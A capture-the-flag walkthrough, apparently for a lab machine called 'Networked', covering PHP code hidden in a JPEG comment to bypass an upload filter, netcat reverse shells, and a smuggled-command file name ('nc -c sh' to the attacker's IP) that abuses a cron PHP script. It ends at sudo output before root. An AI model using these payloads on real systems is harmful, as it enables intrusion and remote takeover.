We tried uploading a php webshell but it failed. However when we uploaded a jpeg, it uploaded it successfully.
Embedding php code on a JPEG
We use GNU GIMP to embed php code on the comments of the image properties.
We get command execution and get a shell using netcat
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:49080.
id
uid=48(apache) gid=48(apache) groups=48(apache)
python -c 'import pty;pty.spawn("/bin/bash")'
bash-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
Privilege Escalation
Getting User Guly
The user flag is under the home directory of guly but we can't read it yet. There are some files we can read. one of them is a crontab that executes the check_attack.php script every 3 minutes.
1) The script uses /var/www/html/uploads and checks all the files
2) It performs a grep like function to avoid files that begin with a . (hidden files)
3) Check files names and extensions and sends an email to if it finds something that is not part of the valid extensions list.
To exploit the php script, we execute the following command to create a file that gets us a shell: touch 'wtf;nc -c sh 10.10.14.22 9001;.php'
This will make the php script execute wtf (which is nothing) then executes the netcat command to connects to our kali box.
# under /var/www/html/uploadstouch'wtf;nc -c sh 10.10.14.22 9001;.php'
# Got a shellNcat:Version7.80 ( https://nmap.org/ncat )Ncat:Listeningon:::9001Ncat:Listeningon0.0.0.0:9001Ncat:Connectionfrom10.10.10.146.Ncat:Connectionfrom10.10.10.146:49106.iduid=1000(guly) gid=1000(guly) groups=1000(guly)
Getting Root
# To get root[guly@networked ~]$ sudo -lsudo-lMatchingDefaultsentriesforgulyonnetworked:!visiblepw,always_set_home,match_group_by_gid,always_query_group_plugin,env_reset,env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/binUsergulymayrunthefollowingcommandsonnetworked: (root) NOPASSWD:/usr/local/sbin/changename.sh[guly@networked ~]$